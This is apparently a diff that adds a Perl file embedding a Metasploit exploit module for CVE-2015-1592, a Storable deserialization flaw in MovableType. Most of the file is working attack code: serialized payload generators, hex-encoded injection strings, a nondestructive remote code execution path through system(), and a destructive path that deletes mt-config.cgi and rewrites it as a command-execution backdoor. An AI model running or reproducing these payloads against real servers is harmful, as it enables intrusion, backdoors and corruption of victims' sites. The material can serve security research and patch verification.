|
| 1 | +#!/usr/bin/perl |
| 2 | + |
| 3 | +=pod |
| 4 | +
|
| 5 | +class MetasploitModule < Msf::Exploit::Remote |
| 6 | + Rank = GoodRanking |
| 7 | +
|
| 8 | + include Msf::Exploit::Remote::HttpClient |
| 9 | +
|
| 10 | + def initialize(info = {}) |
| 11 | + super(update_info(info, |
| 12 | + 'Name' => 'SixApart MovableType Storable Perl Code Execution', |
| 13 | + 'Description' => %q{ |
| 14 | + This module exploits a serialization flaw in MovableType before 5.2.12 to execute |
| 15 | + arbitrary code. The default nondestructive mode depends on the target server having |
| 16 | + the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths. |
| 17 | + The destructive mode of operation uses only required MovableType dependencies, |
| 18 | + but it will noticeably corrupt the MovableType installation. |
| 19 | + }, |
| 20 | + 'Author' => |
| 21 | + [ |
| 22 | + 'John Lightsey', |
| 23 | + ], |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'References' => |
| 26 | + [ |
| 27 | + [ 'CVE', '2015-1592' ], |
| 28 | + [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ], |
| 29 | + ], |
| 30 | + 'Privileged' => false, # web server context |
| 31 | + 'Payload' => |
| 32 | + { |
| 33 | + 'DisableNops' => true, |
| 34 | + 'BadChars' => ' ', |
| 35 | + 'Space' => 1024, |
| 36 | + }, |
| 37 | + 'Compat' => |
| 38 | + { |
| 39 | + 'PayloadType' => 'cmd' |
| 40 | + }, |
| 41 | + 'Platform' => ['unix'], |
| 42 | + 'Arch' => ARCH_CMD, |
| 43 | + 'Targets' => [['Automatic', {}]], |
| 44 | + 'DisclosureDate' => 'Feb 11 2015', |
| 45 | + 'DefaultTarget' => 0)) |
| 46 | +
|
| 47 | + register_options( |
| 48 | + [ |
| 49 | + OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']), |
| 50 | + OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false]) |
| 51 | + ], self.class |
| 52 | + ) |
| 53 | +
|
| 54 | + end |
| 55 | +
|
| 56 | +=cut |
| 57 | + |
| 58 | +# generate config parameters for injection checks |
| 59 | + |
| 60 | +use Storable; |
| 61 | + |
| 62 | +{ |
| 63 | + |
| 64 | + package XXXCHECKXXX; |
| 65 | + |
| 66 | + sub STORABLE_thaw { |
| 67 | + return 1; |
| 68 | + } |
| 69 | + |
| 70 | + sub STORABLE_freeze { |
| 71 | + return 1; |
| 72 | + } |
| 73 | + |
| 74 | +} |
| 75 | + |
| 76 | +my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX; |
| 77 | +my $frozen2 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj}); |
| 78 | +$frozen2 = unpack 'H*', $frozen2; |
| 79 | +#print "LFI test for storable flaw is: $frozen2\n"; |
| 80 | + |
| 81 | +{ |
| 82 | + package DateTime; |
| 83 | + use overload '+' => sub { 'ignored' }; |
| 84 | +} |
| 85 | + |
| 86 | +=pod |
| 87 | +
|
| 88 | + def check |
| 89 | + vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure") |
| 90 | + res = send_request_cgi({ |
| 91 | + 'method' => 'GET', |
| 92 | + 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), |
| 93 | + 'vars_get' => { |
| 94 | + '__mode' => 'retry', |
| 95 | + 'step' => 'configure', |
| 96 | + 'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078' |
| 97 | + } |
| 98 | + }) |
| 99 | +
|
| 100 | + unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm") |
| 101 | + vprint_status("Failed XXXCHECKXXX.pm load test"); |
| 102 | + return Exploit::CheckCode::Safe |
| 103 | + end |
| 104 | + Exploit::CheckCode::Vulnerable |
| 105 | + end |
| 106 | +
|
| 107 | + def exploit |
| 108 | + if datastore['DESTRUCTIVE'] |
| 109 | + exploit_destructive |
| 110 | + else |
| 111 | + exploit_nondestructive |
| 112 | + end |
| 113 | + end |
| 114 | +
|
| 115 | +=cut |
| 116 | + |
| 117 | +#!/usr/bin/perl |
| 118 | + |
| 119 | +# Generate nondestructive config parameter for RCE via Object::MultiType |
| 120 | +# and Try::Tiny. The generated value requires minor modification to insert |
| 121 | +# the payload inside the system() call and resize the padding. |
| 122 | + |
| 123 | +use Storable; |
| 124 | + |
| 125 | +{ |
| 126 | + package Object::MultiType; |
| 127 | + use overload '+' => sub { 'ingored' }; |
| 128 | +} |
| 129 | + |
| 130 | +{ |
| 131 | + package Object::MultiType::Saver; |
| 132 | +} |
| 133 | + |
| 134 | +#{ |
| 135 | +# package DateTime; |
| 136 | +# use overload '+' => sub { 'ingored' }; |
| 137 | +#} |
| 138 | + |
| 139 | +{ |
| 140 | + package Try::Tiny::ScopeGuard; |
| 141 | +} |
| 142 | + |
| 143 | +my $try_tiny_loader = bless {}, 'DateTime'; |
| 144 | +my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver'; |
| 145 | +my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType'; |
| 146 | +my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard'; |
| 147 | + |
| 148 | +my $data = [$try_tiny_loader, $try_tiny_executor]; |
| 149 | +my $frozen1 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data); |
| 150 | +$frozen1 = unpack 'H*', $frozen1; |
| 151 | +#print "RCE payload requiring Object::MultiType and DateTime: $frozen1\n"; |
| 152 | + |
| 153 | +=pod |
| 154 | +
|
| 155 | + def exploit_nondestructive |
| 156 | + print_status("Using nondestructive attack method") |
| 157 | + config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b" |
| 158 | + config_payload << payload.encoded.unpack('H*')[0] |
| 159 | + config_payload << "7d293b" |
| 160 | + config_payload << "23" * (1025 - payload.encoded.length) |
| 161 | + config_payload << "0a657869743b" |
| 162 | +
|
| 163 | + print_status("Sending payload (#{payload.raw.length} bytes)") |
| 164 | +
|
| 165 | + send_request_cgi({ |
| 166 | + 'method' => 'GET', |
| 167 | + 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), |
| 168 | + 'vars_get' => { |
| 169 | + '__mode' => 'retry', |
| 170 | + 'step' => 'configure', |
| 171 | + 'config' => config_payload |
| 172 | + } |
| 173 | + }, 5) |
| 174 | + end |
| 175 | +
|
| 176 | +=cut |
| 177 | + |
| 178 | +#!/usr/bin/perl |
| 179 | + |
| 180 | +# Generate destructive config parameter to unlink mt-config.cgi |
| 181 | + |
| 182 | +use Storable; |
| 183 | + |
| 184 | +{ |
| 185 | + package CGITempFile; |
| 186 | +} |
| 187 | + |
| 188 | +my $unlink_target = "mt-config.cgi"; |
| 189 | +my $cgitempfile = bless \$unlink_target, "CGITempFile"; |
| 190 | + |
| 191 | +$data = [$cgitempfile]; |
| 192 | +my $frozen_data = Storable::freeze($data); |
| 193 | +my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . $frozen_data; |
| 194 | +$frozen = unpack 'H*', $frozen; |
| 195 | +#print "RCE unlink payload requiring CGI: $frozen\n"; |
| 196 | + |
| 197 | +# $Storable::DEBUGME = 1; |
| 198 | +# $^W = 1; |
| 199 | +Storable::thaw($frozen_data); |
| 200 | + |
| 201 | +=pod |
| 202 | +
|
| 203 | +def exploit_destructive |
| 204 | + print_status("Using destructive attack method") |
| 205 | + # First we need to delete mt-config.cgi using the storable injection |
| 206 | +
|
| 207 | + print_status("Sending storable injection to unlink mt-config.cgi") |
| 208 | +
|
| 209 | + res = send_request_cgi({ |
| 210 | + 'method' => 'GET', |
| 211 | + 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), |
| 212 | + 'vars_get' => { |
| 213 | + '__mode' => 'retry', |
| 214 | + 'step' => 'configure', |
| 215 | + 'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769' |
| 216 | + } |
| 217 | + }) |
| 218 | +
|
| 219 | + if res && res.code == 200 |
| 220 | + print_status("Successfully sent unlink request") |
| 221 | + else |
| 222 | + fail_with(Failure::Unknown, "Error sending unlink request") |
| 223 | + end |
| 224 | +
|
| 225 | + # Now we rewrite mt-config.cgi to accept a payload |
| 226 | +
|
| 227 | + print_status("Rewriting mt-config.cgi to accept the payload") |
| 228 | +
|
| 229 | + res = send_request_cgi({ |
| 230 | + 'method' => 'GET', |
| 231 | + 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), |
| 232 | + 'vars_get' => { |
| 233 | + '__mode' => 'next_step', |
| 234 | + 'step' => 'optional', |
| 235 | + 'default_language' => 'en_us', |
| 236 | + 'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1", |
| 237 | + 'set_static_uri_to' => '/', |
| 238 | + 'config' => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/', |
| 239 | + } |
| 240 | + }) |
| 241 | +
|
| 242 | + if res && res.code == 200 |
| 243 | + print_status("Successfully sent mt-config rewrite request") |
| 244 | + else |
| 245 | + fail_with(Failure::Unknown, "Error sending mt-config rewrite request") |
| 246 | + end |
| 247 | +
|
| 248 | + # Finally send the payload |
| 249 | +
|
| 250 | + print_status("Sending payload request") |
| 251 | +
|
| 252 | + send_request_cgi({ |
| 253 | + 'method' => 'GET', |
| 254 | + 'uri' => normalize_uri(target_uri.path, 'mt.cgi'), |
| 255 | + 'vars_get' => { |
| 256 | + 'xyzzy' => payload.encoded, |
| 257 | + } |
| 258 | + }, 5) |
| 259 | + end |
| 260 | +
|
| 261 | +=cut |
0 commit comments